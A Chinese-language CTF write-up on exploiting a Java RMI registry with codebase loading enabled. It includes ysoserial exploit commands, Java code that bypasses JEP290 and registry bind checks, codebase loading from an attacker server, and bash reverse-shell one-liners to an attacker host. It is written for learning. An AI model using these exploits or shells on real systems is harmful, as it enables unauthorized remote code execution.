前些日子去buuctf找点题打打,发现了这个0人解开的题目。正好学习了RMI以及JNDI相关的攻击手法,想试试看能不能拿下一血。这里做个记录。
首先我拿nmap扫了下靶场给的域名和端口,确认无误端口开放的是rmi服务。
一开始我的思路是这样的,题目提示了rmi-codebase
,于是很自然的想到java.rmi.server.useCodebaseOnly
这个配置项很可能是开着的。曾经用过这个配置项去远程动态加载代码引入依赖,我对此理解是用来提供一个依赖环境让注入的payload能够顺利反序列化。和我先前做过的实验不同的是,这次我并没有发现RMI registry
有给我什么函数让我直接把恶意数据传上去反序列化。
网上看了一些师傅的文章,我做了一些尝试:
这个打法只适用于8u121之前
把恶意payload绑定到RMI registry
上,使其远程的Codebase加载Reference工厂类
再次搜索资料我搞清楚了远程加载的工厂类的写法,依靠静态代码块等方式执行命令
编译成class按照三梦师傅的方法bind到RMI registry
上
Reference reference = new Reference("Evil","Evil","http://myvpsip/Evil.class");
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.bind("hack",referenceWrapper);
并没有那么顺利,dnslog那边没有记录,而且程序本身也报错
Caused by: java.rmi.AccessException: Registry.bind disallowed; origin /myvpsip is non-local host
大概是触发RMI的安全机制,不让非本地ip进行Registry bind,后续我也尝试用三梦师傅文章中提到的把ysoserial
的payload动态代理成Remote,并注册到Registry注册中心。但是绕不开bind这一步。
到这里我已经没啥办法了,我思考可能要去尝试上述文章提到的8u191之后的rmi攻击方法。
好消息是在搜索Registry.bind disallowed
问题的时候看到长亭师傅的文章:Java RMI远程利用分析
常用的攻击RMI服务的两种方式(ysoserial一把梭):
RMI DGC
攻击 RMI Registry
通过查看其对应的源码就可以看到这种攻击方式的关键点是由
makeDGCCall
函数发送生成的payload
,攻击目标是由RMI
侦听器实现的远程DGC(Distributed GarbageCollection,分布式垃圾收集器)
。它可以攻击任何RMI
侦听器,因为RMI
框架采用DGC
来管理远程对象的生命周期,通过与DGC
通信的方式发送恶意payload
让RMI Registry
反序列化。
对应的使用ysoserial命令如下
java -cp ysoserial.jar ysoserial.exploit.JRMPClient 127.0.0.1 1099 CommonsCollections1 "cmd"
限制:JDK版本< 8u121(JEP290之前) ,并且目标有能利用的Gadget
在测试中发现触发JEP290后,Registry
会出现ObjectInputFilter REJECTED
在
ysoserial
中RMIRegistryExploit
提供了另一种对RMI
的攻击思路,即利用向服务端的Registry
注册远程对象时的反序列化步骤,将恶意payload
插到注册的数据中进行利用。当RMI
的Registry
中存在对应利用链时就可以执行命令。
java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit 127.0.0.1 1099 CommonsCollections1 "cmd"
限制:JDK版本< 8u121(JEP290之前) ,并且目标有能利用的Gadget
另外搜索资料发现bind 在jdk8u141-b10
(更新链接)以后检查了localhost,添加了checkAccess
策略,这也说明题目靶场环境的JDK版本是高于8u141的。
题目下面给的链接是p牛的vulhub靶场,下载下来后我主要检查了dockerfile
:
FROM openjdk:8u222-jdk
LABEL maintainer="phithon "
ENV RMIIP="127.0.0.1"
COPY src/ /usr/src/
WORKDIR /usr/src
RUN set -ex \
&& javac *.java
EXPOSE 1099
EXPOSE 64000
CMD ["bash", "-c", "java -Djava.rmi.server.hostname=${RMIIP} -Djava.rmi.server.useCodebaseOnly=false -Djava.security.policy=client.policy RemoteRMIServer"]
可以看到靶场的jdk版本是8u222,而且关闭了codebase的限制。另外靶场没有任何能利用的Gadget,这时我确信了codebase是用于创造反序列化的环境的。
此时的问题有两个:怎么绕过JEP290限制和绕过bind的本地限制
参考一次攻击内网rmi服务的深思
按照上述文章的说法,作者是实现的思路与payloads/JRMPClient相同,但是却不能直接用RMIRegistryExploit 调用JRMPClient
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1299 CommonsCollections6 "cmd"
java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit "target IP" 1099 JRMPClient "JRMPListener:1299"
会出现filter status: REJECTED
原因如下
引入exploit.JRMPListener和payloads.JRMPClient就可以绕过jep290
但我们不能直接指定JRMPClient这个payload来做RMIRegistryExploit的payload,因为AnnotationInvocationHandler是会使服务端抛出REJECTED的,但是还记得我们前面说过,AnnotationInvocationHandler这个类在RMIRegistryExploit中的使用只是为了把对象包装成Remote接口,而分析了JRMPClient这个payload发现它的反序列化过程本来就是从RemoteObject#readObject开始的。
简单解释下,RMIRegistry在处理payload时会调用Gadgets.createMemoitizedProxy()
,期间创建了一个AnnotationInvocationHandler
对象实例作为反序列化的入口,很明显会被JEP290拦截。
这里只能对RMIRegistryExploit进行改造。
public class RMIRegistryExploit2 {
private static class TrustAllSSL extends X509ExtendedTrustManager {
......
}
private static class RMISSLClientSocketFactory implements RMIClientSocketFactory {
......
}
public static void main(final String[] args) throws Exception {
final String host = args[0];
final int port = Integer.parseInt(args[1]);
final String command = args[2];
Registry registry = LocateRegistry.getRegistry(host, port);
try {
registry.list();
} catch(ConnectIOException ex) {
registry = LocateRegistry.getRegistry(host, port, new RMISSLClientSocketFactory());
}
// ensure payload doesn't detonate during construction or deserialization
exploit(registry, command);
}
public static void exploit(final Registry registry,
final String command) throws Exception {
new ExecCheckingSecurityManager().callWrapped(new Callable<Void>(){public Void call() throws Exception {
String name = "pwned" + System.nanoTime();
JRMPClient1 jrmpclient = new JRMPClient1();
Remote remote = jrmpclient.getObject(command);
try {
registry.bind(name,remote);
} catch (Throwable e) {
e.printStackTrace();
}
return null;
}});
}
}
这个绕过仅仅适用于8u141以下版本
这里准确说法是绕过checkAccess限制
注册中心时反序列化的点在RegistryImpl_Skel#dispatch中,通过一个switch分支调用bind,rebind,unbind和lookup,其中lookup方法没有checkAccess。问题在于RegistryImpl_Stub#lookup这个方法只接受一个String参数,需要重写一个lookup方法以Remote对象为参数。这里直接上代码
public static Remote lookup(Registry registry, Object obj)
throws Exception {
RemoteRef ref = (RemoteRef) Reflections.getFieldValue(registry, "ref");
long interfaceHash = Long.valueOf(String.valueOf(Reflections.getFieldValue(registry, "interfaceHash")));
java.rmi.server.Operation[] operations = (Operation[]) Reflections.getFieldValue(registry, "operations");
java.rmi.server.RemoteCall call = ref.newCall((java.rmi.server.RemoteObject) registry, operations, 2, interfaceHash);
try {
try {
java.io.ObjectOutput out = call.getOutputStream();
//反射修改enableReplace
Reflections.setFieldValue(out, "enableReplace", false);
out.writeObject(obj); // arm obj
} catch (java.io.IOException e) {
throw new java.rmi.MarshalException("error marshalling arguments", e);
}
ref.invoke(call);
return null;
} catch (RuntimeException | RemoteException | NotBoundException e) {
if(e instanceof RemoteException| e instanceof ClassCastException){
return null;
}else{
throw e;
}
} catch (java.lang.Exception e) {
throw new java.rmi.UnexpectedException("undeclared checked exception", e);
} finally {
ref.done(call);
}
}
在绕过JEP290版本的RMIRegistryExploit代替registry.bind
至于8u231版本后怎么绕checkAccess可以看我文章最后参考部分其他师傅的文章。
到这里我感觉就已经解决了这道CTF题了,事情并没有我想象的那么简单,因为题目环境并没有可以执行命令的Gadget。
正常思路是配置java.rmi.server.codebase
,这里我在vps上用http服务共享CommonsCollections3.1的jar包。
在修改后的RMIRegistryExploit2做如下配置
System.setProperty("java.rmi.server.codebase", "http://vps:8080/commons-collections-3.1.jar"); System.setProperty("java.security.policy","file:D:\\vuln.policy");
if (System.getSecurityManager() == null) {
System.out.println("setup SecurityManager");
System.setSecurityManager(new SecurityManager());
}
#vuln.policy
grant {
permission java.security.AllPermission;
};
结果靶场并没有执行任何命令,也没有加载反序列化需要的jar包。
我在自己机器上起了一个RMI Registry服务,用相同的jdk版本8u222,设置-Djava.rmi.server.useCodebaseOnly=false
在服务端做相同配置,发现服务端正常加载了所需jar包成功RCE。这里我有一个疑惑,为什么直接在服务端做配置可以加载,而攻击者这一端不行。另外,主动在自己的服务端引入所需依赖环境,先前的绕过姿势是能够成功RCE的。
后续用bit4woo大佬的ysoserial进行测试,使用RMIRegistryExploitJdk8u231能够顺利加载环境依赖RCE。目前尚不清楚8u141-8u231之间的改动。
回过头打buu的靶场又碰到了问题,反弹shell弹不回来
一般来讲,用bash执行反弹shell的命令是这样的:/bin/bash -i >& /dev/tcp/vpsip/vpsport 0>&1
问题出在这里,这里的命令不能直接当cmd给反序列化最终执行的exec函数当参数。
网上搜寻了许多资料后得到正确的执行姿势:bash -c bash$IFS$9-i>&/dev/tcp/vpsip/vpsport<&1
成功反弹shell,翻了buu靶场的机器目录后才发现为什么没人拿一血,大概是直接起的p牛靶场所以没有flag文件。
不得不承认能学会这么多利用姿势全靠站在巨人的肩膀上
8u191后的JNDI注入利用:这篇文章介绍的RMI攻击方法在低版本比较适用
搞懂RMI、JRMP、JNDI-终结篇:三梦师傅的文章,更侧重代码调试和RMI的原理,写文章的思路也是针对JNDI利用,按照不同的jdk版本介绍相应的攻击手法。
Java RMI远程利用分析:长亭师傅写的文章,主要在死磕rmi服务这块给了不少思路,缺点是代码和命令贴的不是很全
一次攻击内网rmi服务的深思bsmali4师傅写的,关于如何绕JEP290写的相当详细
从ysoserial讲RMI/JRMP反序列化漏洞 :高版本jdk rmi利用的姿势大全,代码全讲明白了
针对RMI服务的九重攻击 - 下:评价同上,有实战价值
Java Runtime.exec() 执行命令与反弹shell(下):解释exec函数为什么有坑,以及绕坑方案,实战意义很大